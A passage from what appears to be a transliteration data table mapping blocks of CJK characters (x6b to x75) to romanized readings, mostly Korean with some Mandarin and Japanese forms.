'Chem ','Lei ','Feng ','Hui ','Tang ','Ji ','Sui ','Pyek ','Bi ','Ding ','Chu ','Zhua ','Hoy ','Cup ','Jie ','Ka ',
'Kyeng ','Zhe ','Kem ','Cang ','Dao ','Yi ','Biao ','Song ','She ','Lin ','Reki ','Cha ','Meng ','Yin ','To ','Tay ',
'Mian ','Qi ','','Pin ','Huo ','Ji ','Yem ','Mi ','Ning ','Yi ','Gao ','Ham ','Un ','Er ','Qing ','Yem ',
'Qi ','Mi ','To ','Kwey ','Chun ','Ji ','Kui ','Po ','Deng ','Chu ','Han ','Mian ','You ','Zhi ','Guang ','Qian ',
'Lei ','Lei ','Sa ','Lo ','Li ','Cuan ','Lu ','Mie ','Hui ','Ou ','Lye ','Cul ','Ko ','Tok ','Yen ','Lyek ',
'Fei ','Zhuo ','Sou ','Lian ','Sen ','Chu ','','Zhu ','Lu ','Yan ','Lyek ','Zhu ','Chin ','Jie ','E ','Su ',
'Huai ','Nie ','Yu ','Long ','Lai ','','Hen ','Kwi ','Ju ','Xiao ','Ling ','Ayng ','Chem ','Yin ','You ','Ying ',
],
'x6b':[
'Xiang ','Nong ','Pak ','Cham ','Lan ','Ju ','Shuang ','She ','Wei ','Cong ','Kwen ','Qu ','Cang ','','Yu ','Luo ',
'Li ','Chan ','Lan ','Dang ','Jue ','Em ','Lam ','Lan ','Zhu ','Lei ','Li ','Ba ','Nang ','Yu ','Lyeng ','Tsuki ',
'Hum ','Cha ','Huan ','Hun ','Yu ','Yu ','Qian ','Ou ','Xu ','Chao ','Chu ','Chi ','Hay ','Yi ','Jue ','Xi ',
'Xu ','Xia ','Yok ','Kuai ','Lang ','Kuan ','Shuo ','Huy ','Ay ','Uy ','Ki ','Hwul ','Chi ','Hum ','Kwan ','Kam ',
'Kuan ','Kan ','Chuan ','Sap ','','Yin ','Hum ','Hel ','Yu ','Kyem ','Xiao ','Yi ','Ka ','Wu ','Than ','Jin ',
'Kwu ','Hu ','Ti ','Hwan ','He ','Pen ','Xi ','Xiao ','Xu ','Hup ','Sen ','Kem ','Chu ','Yi ','Kan ','Ye ',
'Chel ','Hwan ','Ci ','Ceng ','Cha ','Po ','Mwu ','Ki ','Bu ','Po ','Way ','Ju ','Qian ','Chi ','Se ','Chi ',
'Se ','Zhong ','Sey ','Sey ','Li ','Cuo ','Yu ','Lyek ','Kwi ','Al ','Dai ','Sa ','Jian ','Zhe ','Mo ','Mol ',
'Yo ','Mol ','Co ','Ang ','Cin ','Sheng ','Thay ','Shang ','Xu ','Swun ','Swu ','Can ','Jue ','Phyo ','Qia ','Qiu ',
'Su ','Kung ','Yun ','Lian ','Yi ','Fou ','Sik ','Ye ','Can ','Hun ','Dan ','Ji ','Ye ','','Wun ','Wen ',
'Chou ','Bin ','Chey ','Jin ','Sang ','Yin ','Diao ','Cu ','Hui ','Cuan ','Yi ','Than ','Du ','Kang ','Lyem ','Pin ',
'Du ','Sen ','Sem ','Swi ','Ou ','Tan ','Zhu ','Un ','Qing ','Yi ','Sal ','Kak ','Kak ','Hyo ','Jun ','Cen ',
'Hwey ','Hwey ','Gu ','Que ','Kyek ','Uy ','Kwu ','Hui ','Duan ','Yi ','Xiao ','Mwu ','Guan ','Mo ','May ','May ',
'Ai ','Zuo ','Tok ','Yuk ','Pi ','Bi ','Pi ','Pi ','Pi ','Bi ','Cham ','Mo ','','','Pu ','Mushiru ',
'Jia ','Zhan ','Sai ','Mu ','Tuo ','Xun ','Er ','Rong ','Xian ','Ju ','Mu ','Ho ','Kwu ','Dou ','Mushiru ','Tam ',
'Pei ','Ju ','Duo ','Chwi ','Bi ','San ','','Mao ','Sui ','Shu ','Yu ','Tuo ','He ','Jian ','Ta ','Sam ',
],
'x6c':[
'Lu ','Mu ','Mao ','Tong ','Rong ','Chang ','Pu ','Luo ','Cen ','Sao ','Zhan ','Meng ','Luo ','Qu ','Die ','Ssi ',
'Ce ','Min ','Jue ','Mayng ','Qi ','Pie ','Nai ','Ki ','Dao ','Xian ','Chuan ','Pwun ','Ri ','Nei ','','Fu ',
'Shen ','Dong ','Qing ','Ki ','In ','Xi ','Hai ','Yang ','An ','Ya ','Ke ','Qing ','Ya ','Dong ','Dan ','Lu ',
'Qing ','Yang ','On ','On ','Swu ','Sanzui ','Zheng ','Ping ','Yeng ','Dang ','Sui ','Le ','Ni ','Than ','Pem ','Kwey ',
'Ceng ','Cip ','Kwu ','Pha ','Ze ','Mian ','Cuan ','Hui ','Diao ','Yi ','Cha ','Cak ','Chuan ','Wan ','Pem ','Tay ',
'Sek ','Tuo ','Mang ','Qiu ','Hul ','San ','Pai ','Han ','Qian ','O ','O ','Sin ','Sa ','Ye ','Hong ','Kang ',
'Ci ','O ','Tsuchi ','','Tang ','Zhi ','Chi ','Qian ','Myek ','Yul ','Wang ','Qing ','Jing ','Yey ','Jun ','Hong ',
'Thay ','Quan ','Kup ','Bian ','Pha ','Gan ','Mwun ','Zhong ','Fang ','Xiong ','Kyel ','Hang ','','Ki ','Pwun ','Xu ',
'Xu ','Sim ','Ki ','Ok ','Wun ','Wen ','Hang ','Yen ','Chim ','Chim ','Dan ','You ','Ton ','Ho ','Huo ','Qi ',
'Mok ','Rou ','Mol ','Tap ','Myen ','Mwul ','Chwung ','Tian ','Pi ','Sa ','Ci ','Phay ','Pan ','Zhui ','Za ','Gou ',
'Liu ','Mei ','Thayk ','Feng ','Ou ','Li ','Lun ','Cang ','Feng ','Wei ','Hu ','Mal ','May ','Shu ','Ce ','Zan ',
'Thak ','Tha ','Tuo ','Ha ','Li ','Mi ','Yi ','Fa ','Pi ','Yu ','Tian ','Chi ','So ','Ko ','Chem ','Yen ',
'Si ','Hwang ','Hyeng ','Ju ','Sel ','Swi ','Il ','Jia ','Zhong ','Chen ','Pak ','Hui ','Phil ','Ben ','Zhuo ','Chu ',
'Luk ','Yu ','Gu ','Hong ','Kem ','Pep ','Mao ','Sa ','Hu ','Phyeng ','Ca ','Pem ','Ci ','So ','Ning ','Cheng ',
'Lyeng ','Pho ','Pha ','Up ','Si ','Ni ','Ju ','Yue ','Cwu ','Sheng ','Lei ','Hyen ','Xue ','Fu ','Pan ','Min ',
'Thay ','Ang ','Ji ','Yeng ','Guan ','Beng ','Xue ','Long ','Lu ','','Bo ','Xie ','Po ','Ze ','Jing ','Yin ',
],
'x6d':[
'Zhou ','Ji ','Yi ','Hui ','Hoy ','Zui ','Cheng ','In ','Wei ','Hou ','Chen ','Yang ','Lyel ','Si ','Ji ','Er ',
'Xing ','Po ','Sey ','Suo ','Zhi ','Yin ','Wu ','Sey ','Kao ','Swu ','Jiang ','Lak ','','An ','Tong ','I ',
'Mou ','Lei ','Yi ','Mi ','Quan ','Cin ','Mo ','Yu ','Xiao ','Sel ','Hong ','Hyek ','Sok ','Kuang ','To ','Qie ',
'Ju ','Er ','Cwu ','Ru ','Ping ','Swun ','Hyung ','Zhi ','Kwang ','Wen ','Myeng ','Hwal ','Wa ','Hup ','Pha ','Wu ',
'Qu ','Lyu ','Yi ','Jia ','Jing ','Chen ','Jiang ','Jiao ','Cheng ','Shi ','Zhuo ','Ce ','Pal ','Kuai ','Ji ','Liu ',
'Chan ','Hun ','Hu ','Nong ','Xun ','Jin ','Lie ','Qiu ','Wei ','Cel ','Cwun ','Han ','Pin ','Mang ','Zhuo ','You ',
'Xi ','Pal ','Dou ','Wan ','Koyng ','Up ','Pho ','Yeng ','Lan ','Ho ','Lang ','Han ','Li ','Geng ','Pwu ','Wu ',
'Lian ','Chun ','Feng ','Yi ','Yok ','Tong ','Lao ','Hay ','Chim ','Hyep ','Chong ','Weng ','Mei ','Sui ','Cheng ','Phay ',
'Xian ','Shen ','To ','Kun ','Pin ','Nyel ','Han ','Kyeng ','So ','Sep ','Nian ','Tu ','Yong ','Hyo ','Yen ','Ting ',
'E ','So ','Tun ','Yen ','Cam ','Chey ','Li ','Shui ','Si ','Lwu ','Shui ','Tao ','Tok ','Lao ','Lai ','Lian ',
'Wei ','Wo ','Yun ','Hwan ','Di ','','Run ','Jian ','Zhang ','Se ','Pwu ','Kwan ','Xing ','Shou ','Shuan ','Ay ',
'Chuo ','Zhang ','Ayk ','Kong ','Wan ','Ham ','Tuo ','Tong ','Hwu ','Wo ','Ju ','Gan ','Lyang ','Hun ','Ta ','Thak ',
'Ceng ','Qie ','De ','Kwen ','Chi ','Sek ','Hyo ','Ki ','Kwul ','Guo ','Han ','Lim ','Tang ','Zhou ','Peng ','Ho ',
'Chang ','Swuk ','Che ','Fang ','Chi ','Lu ','Nyo ','Ju ','To ','Cong ','Lwu ','Zhi ','Peng ','Pi ','Song ','Tian ',
'Pi ','Tam ','Yek ','Ni ','E ','Lok ','Kem ','Mi ','Ceng ','Ling ','Lyun ','Um ','Swi ','Qu ','Hoy ','Yu ',
'Nian ','Sim ','Piao ','Swun ','Wa ','Yen ','Lay ','Hon ','Cheng ','Em ','Chen ','Chem ','Myo ','Zhi ','Yin ','Mi ',
],
'x6e':[
'Ben ','Yuan ','Wen ','Re ','Fei ','Cheng ','Yuan ','Kal ','Cey ','Sep ','Yuan ','Juu ','Lok ','Zi ','Du ','',
'Jian ','Min ','Pi ','Kei ','Yu ','Yuan ','Shen ','Cham ','Rou ','Hwan ','Ce ','Kam ','Nuan ','Thwu ','Qiu ','Ceng ',
'Ke ','To ','Feng ','Sa ','Pal ','Ak ','Wa ','Di ','Oy ','On ','Ru ','Sel ','Chuk ','Wi ','Ge ','Hang ',
'Yan ','Hong ','Sen ','Mi ','Kal ','Mao ','Yeng ','Yen ','Yu ','Hong ','Myo ','Xing ','Mi ','Cay ','Hon ','Nai ',
'Kui ','Shi ','E ','Pay ','Mi ','Lyen ','Qi ','Qi ','Mei ','Tian ','Cwu ','Wei ','Can ','Tan ','Myen ','Hui ',
'Mo ','Se ','Ji ','Pwun ','Cen ','Jian ','Ho ','Feng ','Sang ','Yi ','Yin ','Tam ','Sik ','Jie ','Ceng ','Hwang ',
'Tan ','Yu ','Bi ','Min ','Shi ','Tu ','Sheng ','Yong ','Qu ','Zhong ','','Chwu ','Jiao ','qiu ','In ','Thang ',
'Long ','Huo ','Wen ','Nam ','Ban ','You ','Quan ','Chui ','Liang ','Chan ','Po ','Chun ','Nie ','Zi ','Wan ','Sup ',
'Man ','Yeng ','Ratsu ','Kui ','','Jian ','Xu ','Lu ','Gui ','Kay ','','','Pal ','Jin ','Gui ','Tang ',
'Wen ','Suo ','Yuan ','Lian ','Yao ','Mong ','Cwun ','Sheng ','Hap ','Tai ','Da ','Wa ','Lyu ','Kwu ','Sao ','Myeng ',
'Zha ','Shi ','Il ','Lun ','Ma ','Pwu ','Wei ','Lyul ','Cai ','Wu ','Kyey ','On ','Qiang ','Ze ','Shi ','So ',
'Yi ','Cin ','Swu ','Yun ','Xiu ','Un ','Yong ','Hon ','Su ','Su ','Nik ','Ta ','Shi ','Yok ','Wei ','Pan ',
'Chu ','Ce ','Pang ','Ong ','Chang ','Myel ','He ','Dian ','Ho ','Hwang ','Xi ','Ca ','Chek ','Zhi ','Hyeng ','Fu ',
'Jie ','Hwal ','Ge ','Cay ','To ','Tung ','Sui ','Bi ','Jiao ','Hoy ','Kon ','Yin ','Gao ','Long ','Zhi ','Yan ',
'She ','Man ','Ying ','Chun ','Lu ','Lan ','Luan ','','Bin ','Tan ','Yu ','Sou ','Ho ','Phil ','Biao ','Chey ',
'Jiang ','Kou ','Cham ','Shang ','Cek ','Mil ','Ao ','Lo ','Ho ','Hu ','You ','Chan ','Fan ','Yong ','Kon ','Man ',
],
'x6f':[
'Qing ','E ','Phyo ','Ji ','Ay ','Jiao ','Chil ','Xi ','Ji ','Lok ','Lu ','Long ','Kun ','Guo ','Cong ','Lwu ',
'Zhi ','Kay ','Qiang ','Li ','Yen ','Co ','Jiao ','Cong ','Chun ','Tan ','Kwu ','Teng ','Ye ','Xi ','Mi ','Tang ',
'Mak ','Shang ','Han ','Lyen ','Lan ','Wa ','Li ','Qian ','Feng ','Xuan ','Uy ','Man ','Ci ','Mang ','Kang ','Ta ',
'Pwul ','Swu ','Chang ','Cang ','Chong ','Xu ','Huan ','Kuo ','Cem ','Yan ','Chuang ','Liao ','Choy ','Ti ','Yang ','Cang ',
'Cong ','Yeng ','Hong ','Xun ','Shu ','Guan ','Ying ','Xiao ','','','Xu ','Lian ','Zhi ','Wei ','Pi ','Yul ',
'Jiao ','Pal ','Dang ','Hui ','Kyel ','Wu ','Pa ','Cip ','Pan ','Kyu ','Swu ','Cam ','Cam ','Hup ','Lo ','Sek ',
'Sun ','Ton ','Hwang ','Min ','Lyun ','Su ','Lyo ','Zhen ','Zhong ','Yi ','Di ','Wan ','Dan ','Tam ','Co ','Sim ',
'Kwey ','','Shao ','Tu ','Ce ','San ','Hei ','Bi ','San ','Chan ','Can ','Shu ','Tong ','Po ','Lin ','Wei ',
'Se ','Sap ','Cing ','Jiong ','Cing ','Hua ','Yo ','Lao ','Chel ','Kem ','Cun ','Hoyng ','Si ','Cwu ','Phayng ','Han ',
'Wun ','Liu ','Hong ','Fu ','Ho ','He ','Xian ','Kan ','San ','Sek ','Iku ','','Lan ','','Yu ','Lum ',
'Mian ','Co ','Dang ','Han ','Thayk ','Xie ','Yu ','Lyey ','Se ','Xue ','Ling ','Man ','Zi ','Yong ','Hoy ','Chan ',
'Lian ','Cen ','Ye ','O ','Huan ','Zhen ','Cen ','Man ','Dan ','Tam ','Yi ','Sui ','Pi ','Ju ','Tan ','Qin ',
'Kyek ','Thak ','Lyem ','Nong ','Guo ','Jin ','Pwun ','Sayk ','Ji ','Swu ','Yey ','Chu ','Ta ','Song ','Ding ','',
'Zhu ','Lai ','Bin ','Lian ','Mi ','Sup ','Shu ','Mi ','Nyeng ','Ying ','Yeng ','Mong ','Jin ','Qi ','Pi ','Cey ',
'Ho ','Yu ','Zui ','Wo ','To ','Yin ','Yin ','Dui ','Ci ','Ho ','Jing ','Lam ','Cwun ','Ai ','Pok ','Thak ',
'Wei ','Pin ','Gu ','Cam ','Yeng ','Hin ','Kuo ','Fei ','','Boku ','Chen ','Wei ','Luo ','Zan ','Lye ','Li ',
],
'x70':[
'You ','Yang ','Lu ','Si ','Jie ','Hyeng ','Tok ','Wang ','Hui ','Sa ','Pan ','Sin ','Biao ','Chan ','Mo ','Lyu ',
'Jian ','Phok ','Sayk ','Cing ','Gu ','Pin ','Huo ','Xian ','Lo ','Qin ','Han ','Yeng ','Yung ','Lyek ','Ceng ','So ',
'Ying ','Sui ','Wei ','Hay ','Huai ','Hao ','Ce ','Lyong ','Loy ','Dui ','Fan ','Hu ','Loy ','','','Yeng ',
'Mi ','Ji ','Lyem ','Jian ','Ying ','Fen ','Lin ','Ik ','Chem ','Yue ','Chan ','Dai ','Yang ','Jian ','Lan ','Fan ',
'Shuang ','Yuan ','Zhuo ','Feng ','Sep ','Lei ','Lan ','Cong ','Qu ','Yong ','Qian ','Fa ','Kwan ','Que ','Yem ','Hao ',
'Hyeng ','Say ','Zan ','Lan ','Yan ','Li ','Mi ','Shan ','Than ','Dang ','Jiao ','Chan ','','Ho ','Pha ','Zhu ',
'Lan ','Lan ','Nang ','Man ','Luan ','Xun ','Xian ','Yem ','Gan ','Yem ','Yu ','Hwa ','Biao ','Mie ','Guang ','Ceng ',
'Hoy ','Xiao ','Xiao ','','Hong ','Lyeng ','Zao ','Zhuan ','Kwu ','Zha ','Xie ','Chi ','Cak ','Cay ','Cay ','Can ',
'Yang ','Ki ','Zhong ','Fen ','Niu ','Kyeng ','Mwun ','Po ','Yi ','Lo ','Chwi ','Pi ','Kai ','Pan ','Yem ','Kai ',
'Pang ','Mu ','Cho ','Liao ','Gui ','Hang ','Tun ','Guang ','Hun ','Ca ','Kwang ','Guang ','Wei ','Qiang ','','Da ',
'Xia ','Ceng ','Zhu ','Ke ','So ','Fu ','Ba ','Duo ','Duo ','Ling ','Zhuo ','Hyen ','Ke ','Than ','Pho ','Hyeng ',
'Pho ','Tai ','Tai ','Pyeng ','Yang ','Tong ','Han ','Cwu ','Cak ','Cem ','Wi ','Shi ','Lian ','Chi ','Huang ','',
'Hu ','Shuo ','Lan ','Jing ','Jiao ','Xu ','Xing ','Quan ','Lyel ','Hwan ','Yang ','Hyo ','Xiu ','Xian ','Yin ','O ',
'Zhou ','Yao ','Shi ','Kyey ','Tong ','Xue ','Zai ','Kai ','Hong ','Lak ','Xia ','Zhu ','Hwen ','Cung ','Po ','Yen ',
'Hui ','Guang ','Zhe ','Hoy ','Kao ','','Fan ','Shao ','Ye ','Hui ','','Tang ','Jin ','Re ','','Xi ',
'Fu ','Kyeng ','Che ','Pu ','Jing ','Zhuo ','Ting ','Wan ','Hai ','Phayng ','Lang ','Shan ','Hu ','Pong ','Chi ','Rong ',
],
'x71':[
'Hu ','','Shu ','He ','Hwun ','Ku ','Jue ','Xiao ','Xi ','En ','Han ','Zhuang ','Cwun ','Di ','Xie ','Ji ',
'Wu ','','Lua ','Han ','Yen ','Hwan ','Men ','Ju ','Chou ','Pay ','Pwun ','Lin ','Hon ','Hun ','Ton ','Xi ',
'Swi ','Mwu ','Hong ','Ju ','Fu ','Wo ','Cho ','Cong ','Feng ','Ping ','Qiong ','Ruo ','Xi ','Kyeng ','Hun ','Cak ',
'Yen ','Hyek ','Yi ','Jue ','Yu ','Gang ','Yen ','Pi ','Gu ','','Sheng ','Chang ','So ','','Nam ','Geng ',
'Wat ','Chen ','He ','Kui ','Zhong ','Duan ','Ha ','Hwi ','Feng ','Lyen ','Hwen ','Xing ','Hwang ','Jiao ','Cen ','Bi ',
'Yeng ','Ca ','Wi ','Tuan ','Tian ','Huy ','Nan ','Nan ','Chan ','Yen ','Jiong ','Jiong ','Wuk ','Mei ','Sal ','Wei ',
'Ye ','Xin ','Kyeng ','Rou ','May ','Hwan ','Hwu ','Co ','Oy ','Pen ','Qiu ','Sui ','Yang ','Lie ','Ca ','',
'Gao ','Gua ','Bao ','Hu ','Yun ','Xia ','','','Bian ','Gou ','Tui ','Tang ','Chao ','Sen ','En ','Bo ',
'Yep ','Xie ','Xi ','Wu ','Sik ','On ','He ','Hyo ','Huy ','Wun ','Wung ','Nai ','Shan ','','Yao ','Hwun ',
'Mi ','Lian ','Hyeng ','Wu ','Yong ','Kou ','En ','Qiang ','Liu ','Huy ','Bi ','Phyo ','Zong ','Lu ','Jian ','Swuk ',
'Sup ','Lou ','Pong ','Sui ','Ik ','Tong ','Jue ','Zong ','Wi ','Hu ','Yi ','Zhi ','O ','Wei ','Liao ','Sen ',
'Ou ','Yel ','Kyeng ','Man ','','Shang ','Cuan ','Zeng ','Jian ','Huy ','Huy ','Xi ','Yi ','Xiao ','Chi ','Huang ',
'Chan ','Yep ','Qian ','Yen ','Yan ','Xian ','Qiao ','Zun ','Tung ','Ton ','Shen ','Cho ','Fen ','Si ','Lyo ','Yu ',
'Lin ','Tong ','So ','Fen ','Pen ','Yen ','Sim ','Lan ','Mei ','Thang ','Yi ','Jing ','Men ','','','Yeng ',
'Wuk ','Yi ','Xue ','Lan ','Tai ','Co ','Chan ','Swu ','Xi ','Que ','Cong ','Lian ','Hwey ','Chok ','Sep ','Ling ',
'Wei ','Yi ','Xie ','Zhao ','Hui ','Tatsu ','Nung ','Lan ','Ru ','Huy ','Kao ','Hwun ','Sin ','Chou ','To ','Yo ',
],
'x72':[
'Hyek ','Lan ','Biao ','Rong ','Li ','Mo ','Phok ','Sel ','Lu ','La ','Ao ','Hwun ','Kwang ','Sak ','','Li ',
'Lo ','Jue ','Liao ','Yan ','Huy ','Xie ','Long ','Yep ','','Rang ','Yak ','Lan ','Cong ','Jue ','Tong ','Kwan ',
'','Che ','Mi ','Tang ','Lan ','Chok ','Laam ','Ling ','Chan ','Yu ','Co ','Lam ','Pha ','Cayng ','Pao ','Cheng ',
'Wen ','Ai ','Wi ','','Jue ','Cak ','Pwu ','Ye ','Pha ','Ta ','Ya ','Hyo ','Zu ','Sang ','I ','Qiang ',
'Sang ','Ge ','Cang ','Die ','Qiang ','Yong ','Cang ','Phyen ','Phan ','Pan ','Shao ','Cen ','Phay ','Du ','Chuang ','Tou ',
'Zha ','Bian ','Chep ','Pang ','Pak ','Chuang ','Yu ','','Tok ','A ','Thayng ','Wu ','Ushihen ','Pin ','Jiu ','Mo ',
'Tuo ','Mo ','Loy ','Ren ','Mang ','Fang ','Mao ','Mok ','Gang ','Mwul ','Yan ','Ge ','Bei ','Si ','Jian ','Ko ',
'You ','Ge ','Sayng ','Mu ','Ce ','Qian ','Quan ','Quan ','Ca ','Thuk ','Xi ','Mang ','Keng ','Kyen ','Wu ','Gu ',
'Se ','Li ','Li ','Pou ','Ji ','Gang ','Zhi ','Pwun ','Quan ','Run ','Du ','Ju ','Jia ','Ken ','Feng ','Pian ',
'Ke ','Ju ','Ho ','Chu ','Xi ','Bei ','Lak ','Jie ','Ma ','San ','Wei ','Li ','Ton ','Tong ','','Jiang ',
'Gi ','Li ','Tok ','Lie ','Pi ','Piao ','Bao ','Huy ','Chou ','Wei ','Kui ','Chou ','Kyen ','Hyun ','Ba ','Pem ',
'Qiu ','Ji ','Cai ','Cak ','An ','Hil ','Cang ','Guang ','Ma ','You ','Kang ','Bo ','Hou ','Ya ','Yin ','Huan ',
'Sang ','Yun ','Kwang ','Niu ','Cek ','Qing ','Zhong ','Mu ','Bei ','Pi ','Ju ','Ni ','Sheng ','Pao ','Ap ','Tuo ',
'Ho ','Ling ','Pi ','Pi ','Ni ','Ao ','You ','Kwu ','Yue ','Ce ','Dan ','Po ','Gu ','Xian ','Ning ','Huan ',
'Hen ','Kyo ','Hak ','Zhao ','Ji ','Swun ','Shan ','Ta ','Yung ','Swu ','Tong ','Lao ','Tok ','Xia ','Shi ','Hua ',
'Zheng ','Yu ','Sun ','Yu ','Phyey ','Mang ','Xi ','Kyen ','Li ','Hyep ','Un ','San ','Lang ','Phay ','Zhi ','Yan ',
],
'x73':[
'Sha ','Li ','Han ','Xian ','Jing ','Pai ','Fei ','Yao ','Ba ','Ki ','Yey ','Biao ','Yin ','Lai ','Xi ','Jian ',
'Qiang ','Kun ','Yan ','Kwa ','Zong ','Mi ','Chang ','Uy ','Cey ','Cayng ','Ya ','Mayng ','Si ','Col ','She ','Ryou ',
'Cen ','Luo ','Ho ','Zong ','Ji ','Oy ','Feng ','Wa ','Wen ','Seng ','Ce ','Myo ','Wei ','Yuan ','Hen ','Tuan ',
'Ya ','No ','Xie ','Jia ','Hwu ','Bian ','Yu ','Yu ','Mei ','Zha ','Yao ','Sun ','Bo ','Ming ','Hwal ','Wen ',
'Sou ','Ma ','Yuan ','Ay ','Ok ','Sa ','Hao ','','Yi ','Zhen ','Chuang ','Hao ','Man ','Jing ','Jiang ','Mu ',
'Cang ','Chan ','O ','Ao ','Hao ','Cui ','Fen ','Kwel ','Phyey ','Bi ','Huang ','Pu ','Lin ','Yu ','Tong ','Yao ',
'Lyo ','Shuo ','Xiao ','Swu ','Ton ','Xi ','Ge ','Juan ','Tok ','Yey ','Hoy ','Hem ','Hay ','Ta ','Xian ','Hwun ',
'Yeng ','Pin ','Hoyk ','Nou ','Meng ','Lyep ','Nao ','Kwang ','Swu ','Lu ','Tal ','Hen ','Mi ','Rang ','Huan ','Nao ',
'Luo ','Hem ','Qi ','Jue ','Hyen ','Miao ','Ca ','Sol ','Lo ','Ok ','Su ','Wang ','Qiu ','Ga ','Ceng ','Le ',
'Ba ','Ji ','Hong ','Di ','Chen ','Kan ','Kwu ','Wu ','Ki ','Ye ','Yang ','Ma ','Gong ','Wu ','Pwu ','Min ',
'Kay ','Ya ','Bin ','Bian ','Bang ','Yue ','Kyel ','Yun ','Kak ','Wan ','Jian ','May ','Dan ','Pin ','Wei ','Huan ',
'Xian ','Qiang ','Lyeng ','Tay ','Yi ','An ','Ping ','Cem ','Fu ','Hyeng ','Xi ','Pha ','Ci ','Gou ','Jia ','Shao ',
'Pak ','Ci ','Ka ','Ran ','Sheng ','Shen ','I ','Zu ','Ka ','Min ','San ','Liu ','Phil ','Cin ','Zhen ','Kak ',
'Fa ','Long ','Cin ','Jiao ','Jian ','Li ','Kwang ','Xian ','Zhou ','Kong ','Yan ','Xiu ','Yang ','Hwu ','Lak ','Su ',
'Cwu ','Qin ','Un ','Swun ','Po ','I ','Hyang ','Yao ','Xia ','Hyeng ','Kyu ','Chwung ','Xu ','Pan ','Phay ','',
'Dang ','Ei ','Hun ','Wen ','E ','Ceng ','Di ','Mwu ','Wu ','Seng ','Jun ','Mei ','Bei ','Ceng ','Hyen ','Chuo ',
],
'x74':[
'Han ','Sen ','Yan ','Kwu ','Hyen ','Lang ','Li ','Swu ','Fu ','Lyu ','Ye ','Xi ','Ling ','Li ','Cin ','Lian ',
'Suo ','Sa ','','Wan ','Dian ','Pin ','Zhan ','Cui ','Min ','Yu ','Ju ','Chim ','Lai ','Wen ','Sheng ','Wei ',
'Cen ','Swu ','Thak ','Pei ','Cayng ','Ho ','Ki ','E ','Kon ','Chang ','Ki ','Pong ','Wan ','Lu ','Cong ','Kwan ',
'Yem ','Co ','Pay ','Lim ','Kum ','Pi ','Pha ','Que ','Thak ','Qin ','Pep ','','Qiong ','Du ','Jie ','Hun ',
'Wu ','Mo ','Mei ','Chwun ','Sen ','Cey ','Seng ','Dai ','Rou ','Min ','Zhen ','Wi ','Ruan ','Huan ','Hay ','Chuan ',
'Jian ','Zhuan ','Yang ','Lian ','Quan ','Ha ','Duan ','Wen ','Ye ','No ','Ho ','Yeng ','Yu ','Hwang ','Se ','Sul ',
'Lyu ','','Yong ','Sway ','Yo ','On ','Wu ','Jin ','Cin ','Hyeng ','Ma ','Tao ','Liu ','Tang ','Li ','Lang ',
'Koy ','Cen ','Chang ','Cha ','Jue ','Zhao ','Yo ','Ai ','Bin ','Tu ','Chang ','Kun ','Zhuan ','Cong ','Kun ','Yi ',
'Choy ','Cong ','Ki ','Li ','Ying ','Suo ','Kwu ','Sen ','Ao ','Lyen ','Mwun ','Cang ','Yin ','','Ying ','Zhi ',
'Lu ','Wu ','Deng ','xiu ','Zeng ','Xun ','Qu ','Dang ','Lin ','Liao ','Qiong ','Su ','Hwang ','Koy ','Pak ','Kyeng ',
'Fan ','Cin ','Liu ','Ki ','','Kyeng ','Ai ','Pyek ','Chan ','Qu ','Co ','Tang ','Jiao ','Gun ','Tan ','Hui ',
'Hwan ','Se ','Swu ','Tian ','','Ye ','Jin ','Lu ','Bin ','Swu ','Wen ','Zui ','Lan ','Say ','Ji ','Sen ',
'Ruan ','Huo ','Gai ','Lei ','Du ','Li ','Cil ','Rou ','Li ','Zan ','Kyeng ','Zhe ','Gui ','Sui ','La ','Lyong ',
'Lu ','Li ','Zan ','Lan ','Yeng ','Mi ','Xiang ','Xi ','Kwan ','Dao ','Chan ','Hwan ','Kwa ','Bo ','Die ','Bao ',
'Ho ','Zhi ','Phyo ','Phan ','Rang ','Li ','Wa ','Dekaguramu ','Jiang ','Chen ','Fan ','Pen ','Fang ','Dan ','Ong ','Ou ',
'Deshiguramu ','Miriguramu ','Thon ','Hu ','Ling ','Yi ','Pyeng ','Ca ','Hekutogura ','Juan ','Chang ','Chi ','Sarake ','Dang ','Meng ','Pou ',
],
'x75':[
'Zhui ','Pyeng ','Bian ','Chwu ','Kyen ','Senchigura ','Ci ','Ying ','Qi ','Xian ','Lou ','Di ','Kwu ','Meng ','Cen ','Peng ',
'Lin ','Cung ','Wu ','Pyek ','Dan ','Ong ','Ying ','Yan ','Kam ','Dai ','Sim ','Chem ','Chem ','Han ','Sang ','Sayng ',
'Qing ','Shen ','San ','San ','Rui ','Sayng ','So ','Sen ','Yong ','Shuai ','Lu ','Po ','Yong ','Beng ','Feng ','Nyeng ',
'Cen ','Yu ','Kap ','Sin ','Zha ','Dian ','Fu ','Nam ','Cen ','Ping ','Ceng ','Hwa ','Ceng ','Kyen ','Zi ','Meng ',
'Pi ','Qi ','Liu ','Xun ','Liu ','Chang ','Mu ','Kyun ','Fan ','Fu ','Kyeng ','Cen ','Kyey ','Jie ','Kyen ','Oy ',
'Fu ','Cen ','Mu ','Tap ','Pan ','Jiang ','Wa ','Da ','Nan ','Lyu ','Pwun ','Cin ','Chwuk ','Mwu ','Mu ','Ce ',
'Cen ','Gai ','Phil ','Da ','Chi ','Lyak ','Hyu ','Lyak ','Pan ','Kesa ','Pen ','Hwa ','Yu ','Yu ','Mwu ','Cwun ',
'I ','Liu ','Yu ','Die ','Chou ','Hwa ','Tang ','Chuo ','Ki ','Wan ','Kang ','Sheng ','Chang ','Tuan ','Lei ','Ki ',
'Cha ','Liu ','Jou ','Tuan ','Lin ','Jiang ','Kang ','Cwu ','Pyek ','Die ','Chep ','Phil ','Nie ','Dan ','So ','So ',
'Zhi ','Uy ','Chuang ','Nai ','Ceng ','Bi ','Jie ','Liao ','Gang ','Hul ','Kwu ','Zhou ','Xia ','San ','Xu ','Nue ',
'Li ','Yang ','Chen ','Yu ','Pha ','Kay ','Jue ','Zhi ','Xia ','Chwi ','Bi ','Yek ','Li ','Zong ','Chuang ','Feng ',
'Zhu ','Pho ','Phi ','Kam ','A ','Ca ','Xie ','Qi ','Tal ','Cin ','Fa ','Zhi ','Tong ','Ce ','Cil ','Fei ',
'Kwu ','Dian ','Ka ','Hyen ','Zha ','Pyeng ','Ni ','Cung ','Yong ','Jing ','Cen ','Chong ','Tong ','I ','Hay ','Wei ',
'Hui ','Duo ','Yang ','Chi ','Chi ','Hun ','Ya ','Mei ','Twu ','Kyeng ','Xiao ','Thong ','Tu ','Mang ','Pi ','Xiao ',
'Suan ','Pu ','Li ','Ci ','Cwa ','Duo ','Wu ','Sa ','Lao ','Swu ','Huan ','Xian ','Yi ','Peng ','Zhang ','Guan ',
